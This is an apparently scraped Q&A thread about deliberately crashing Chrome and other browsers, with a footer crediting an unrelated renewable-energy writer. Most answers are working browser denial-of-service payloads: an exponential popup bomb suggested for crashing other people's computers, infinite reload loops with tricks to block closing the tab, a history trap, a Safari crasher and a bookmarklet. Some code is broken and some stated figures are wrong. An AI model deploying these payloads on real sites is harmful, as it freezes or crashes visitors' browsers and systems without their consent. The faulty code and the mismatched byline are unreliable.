How to Crash Chrome Browser?

How to Crash Chrome Browser?

For testing purposes, I need a quick and easy way to crash my tab/browser. I'm stress testing my website, and these sites are invaluable for Google Chrome.

  • chrome://crash
  • chrome://kill
  • chrome://hang
  • chrome://quit
  • chrome://restart
  • These sites can be found at chrome://about. Another site (not listed on chrome://about is chrome://inducebrowsercrashforrealz- it will crash the top-level process for Chrome, including all tabs in all browser windows and all opened apps). Originally, I was trying to see what data was preserved in case of a crash. For example, the textarea in our form remained filled out upon restarting.

    However, these URL's are only valuable if I manually type the URL into the browser. Using this question (and many others I don't have the links to), I confirmed what I suspected- you can't

    • redirect to chrome:// pages
    • link to chrome:// pages
    • in any other way request info from chrome:// pages (ie. iframe)

    Link to chrome:// url from a webpage

    This poses a problem- I want to cause the browser to crash (chrome://inducebrowsercrashforrealz) when the user reaches a specific part of the form. Is there any script which can cause the browser to crash?

    I've tried while loops, but even when they're exponential, they take a while to kill the page, and never affect the browser. I'd like the crash to be either instantaneous, or eat up enough memory for the browser to freeze.

    1

    13 Answers

    WARNING this will crash ANY browser or the computer using PopUps attack:

    If you want to crash somebodies computer or browser

    PopUp CODE that CRASHES a browser or computer

    <script type="text/javascript"> 
    function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
    </script> 
    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    If you really want to make their browser seriously hang up, you use this popup it will continue to uploading with 2 more and 2 more popup pages for each popup that means 2x2 popups second time 4 popups then 8, 16, 32, 64 and so on popups. It makes as if was a virus it will spread PopUps in the browser, filling the screen with popups till either the computer or the browser crashes and hangs up and shuts down, just...

    NOTE: You did not hear this from me OKAY... LOL... I ONLY advice this as a piratical joke on a friend and not for an online web page.

    If you wish to make it crash faster then just add more JavaScript:CrashAndBurn(self.location,'_blank'); to onload body like this example x4:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    It will load 4 popups for each popup that emans after 4 popups it will load 4x4 meaning 18 popups and then 18x4 that is 72 and then 72x4 that is 288 popups and then 288x4 that is 1152 popups just in 4 rounds of popups in a few seconds.

    And if you want to be EXTREME HORRIBLE then use x10 example:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    and you have 8 popups with 10 that is 10x10=100 popups and then 1000 and after that 1 000 000 popups and GUARANTEED crash fast.

    EDIT You can use a while loop instead of copy-pasting 10 times. It would be much shorter.

    <!DOCTYPE html>
    <html>
    <body>
    
    
    <h2>Crashing Now</h2>
    
    
    <p>Hit Ok To Crash</p>
    
    
    <p id="demo"></p>
    
    
    <script>
    onbeforeunload = function(){localStorage.x=1};
    
    
    if(confirm("Do you REALLY want me to crash your browser?")){
      setTimeout(function(){
        while(1)location.reload(1)
      }, 1000)
    }
    </script>
    
    
    </body>
    </html>
    1
    for(var i = 0; i === i; i++) {}
    

    should crash your current window

    3

    there is one way...

    while(true){
    var dp = document.getElementByID("spamr");
     if(!document.getElementByID("spamr")){
      var dp = document.createElementByID("spamr");
      dp.innerHTML += "🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍";
    }
    dp.innerHTML += "🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍🤍";
    }
    

    for(var i = 0; i === i; i++) {}

    Works in chrome, edge, IE:

    while(1)location.reload(1)
    

    Continuously hard reload current page (works best over http/https)

    And to prevent user from closing tab:

    onbeforeunload = function(){localStorage.x=1};
    

    Recap:

    onbeforeunload = function(){};
    
    if(confirm("Do you REALLY want to crash your browser?")){
      setTimeout(function(){
        while(1)location.reload(1)
      }, 1000)
    }

    WARNING: THIS WILL COMPLETELY AND UTTERLY CRASH ANY INSTANCES OF CHROME and, if you're running on chromebook or any old OS, this will completely crash your entire system!

    EDIT: a version that works for safari:

    window.onload=()=>location.hash="M"+"\u0001".repeat(2**25)+"m";
    
    1

    I don't think there's any way to actually crash a client's browser via JS. However, it's possible to just perform tons of useless calculations rendering a tab useless.

        while(true) {
           for(let i = 99; i === i; i *= i) {
              console.log(i);
           };
        };
    

    Google Chrome Crashers Websites List

    1. chrome://badcastcrash
    2. chrome://inducebrowsercrashforrealz
    3. chrome://crash
    4. chrome://crashdump
    5. chrome://kill
    6. chrome://hang
    7. chrome://shorthang
    8. chrome://gpuclean
    9. chrome://gpucrash
    10. chrome://gpuhang
    11. chrome://memory-exhaust
    12. chrome://memory-pressure-critical
    13. chrome://memory-pressure-moderate
    14. chrome://ppapiflashcrash
    15. chrome://ppapiflashhang
    16. chrome://quit
    17. chrome://restart

    This works, but slowly, it will make the browser unresponsive immediately though.

    try {
        window.location.replace("chrome://quit")
        //some old browsers support this, if they are useing VERY old chromium.
    } finally {
        history.pushState(null, document.title,     location.href);
        window.addEventListener('popstate', function(event) {
            history.pushState(null, document.title,      location.href);
        })
        while(true) {
            let location = 1
            let item = 1
            localStorage.setItem(location, item)
            location = location+1
            item = item*2
            localStorage.getItem(location)
            console.log("added and used: "+item+" at "+location)
        }
    }
    if (window.closed) {
        window.location.replace("run.html")
    }
    
    for(let index = 0; true; index++){
    console.log(index)
    }
    

    it will work slowly but it will work.

    1

    Simple bookmarklet that crashes your chromebook. If you try to shut down your chromebook and open it again, the screen will stay on for 5 seconds.

    javascript:while (true) { window.location.reload(true); };
    
    2

    This should work!

    <button onclick="crash()">???</button>
        <script type="text/javascript">
    function crash(){
      if(navigator.userAgent.indexOf("Chrome") != -1 )
        {
          alert('WHoops')
    window.open(' '_self', '');
        }
        else {
          alert('Hehe')
          while (1==1){
            console.log(3234567654*45671234567890987654321)
          }
        }
    }
    </script>
    1

    This link:

    will crash chrome because it results in a null character. Try it!

    James H. Sterling
    Author

    James H. Sterling

    James Sterling reports on renewable energy developments, climate policy, ecological conservation, and green tech innovations around the globe.